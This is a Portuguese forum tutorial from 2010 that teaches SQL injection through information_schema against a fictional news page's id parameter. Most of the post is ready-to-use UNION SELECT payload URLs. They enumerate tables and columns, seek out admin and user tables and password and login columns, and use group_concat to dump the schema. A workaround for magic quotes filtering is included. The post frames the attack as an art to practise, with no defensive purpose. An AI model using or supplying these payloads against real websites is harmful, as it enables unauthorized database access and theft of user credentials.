SQL Injection - information_schema

Iniciado por rahackzin, 25 de Fevereiro , 2010, 02:48:24 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

rahackzin

::: INTRODUÇÃO :::

A técnica conhecida como information_chema, é utilizada para descobrir todas as tabelas e colunas existentes no banco de dados. Ela faz o trabalho de programas que auxiliam a exploração do SQL Injection para descobrir as tabelas e as colunas. Com este método você tem sua vida facilitada :)

::: INFORMATION_SCHEMA :::

Como já expliquei para vocês, agora iremos capturar do banco de dados as tabelas e as colunas do banco de dados de um site fictício.
Supomos que temos a seguinte notícias:

www.site.com.br/noticias.php?id=15

Já vimos que ele está vulnerável a SQL Injection e possui 6 colunas. Agora iremos descobrir as tabelas do site através do information_schema, o conteúdo de nossa materia!
Para isto iremos utilizar um union:

www.site.com.br/noticias.php?id=-15+Union+Select+1,2,3,4,5,6+From+Information_Schema.Tables

Notem que apareceram alguns números na tela, no nosso caso: 2,5,3

Agora vamos fazer o seguinte, no lugar destes números iremos colocar as tabelas do information_schema, adicionando um "limite":

http://www.site.com.br/noticias.php?id=-15+Union+Select+1,table_name,3,4,5,6+From+Information_Schema.Tables+limit 0,1

Agora você vai aumentando o limite para 1,1 / 2,1 / 3,1 / 4,1 até encontrar alguma tabela tipo: admin, usuarios, user, membros. administradores, bd_admin, db_admin etc...

Vamos supor agora que encontramos a tabela "usuarios" em 20,1:

http://www.site.com.br/noticias.php?id=-15+Union+Select+1,table_name,3,4,5,6+From+Information_Schema.Tables+limit 20,1

Agora iremos achar as colunas da tabela "usuarios":

http://www.site.com.br/noticias.php?id=-15+Union+Select+1,Column_name,3,4,5,6+From+Information_Schema.Columns+Where Table.name='usuarios'+limit+0,1
(Lembrando que este método não funcionará se existir filtragem magic quote no site)

Caso a filtragem esteja ativa poderemos utilizar assim e ver uma por uma:

http://www.site.com.br/noticias.php?id=-15+Union+Select+1,Column_name,3,4,5,6+From+Information_Schema.Columns+limit+0,1

E então ir procurando até encontrar as colunas: senha, usuario, username, login, password, user, email etc

Agora vem a melhor parte!
Com a técnica asseguir você irá ter a lista completa de todas as tabelas existentes no banco de dados:

www.site.com.br/noticias.php?id=-15+Union+Select+1,Group_Concat(Table_Name)
,3,4,5,6+from+information_schema.tables+where+table_schema=database()



E com esta, todas as colunas:

www.site.com.br/noticias.php?id=-15+Union+Select+1,Group_concat(table_name)
,3,4,5,6+from+information_schema.columns+where+table_schema=database()



::: CONCLUSÃO :::

Neste tutorial mostrei a vocês como descobrir as tabelas e as colunas de um banco de dados utilizando o information_schema! Com este método você não é obrigado a ir chutando nomes de tabelas e colunas até encontrar ela, ou utilizar algum programa específico. Você faz manualmente. Aí está a verdadeira arte do SQL Injection!
Espero que todos tenham gostado e que ela seja bastante útil!

Autor: Rahackzin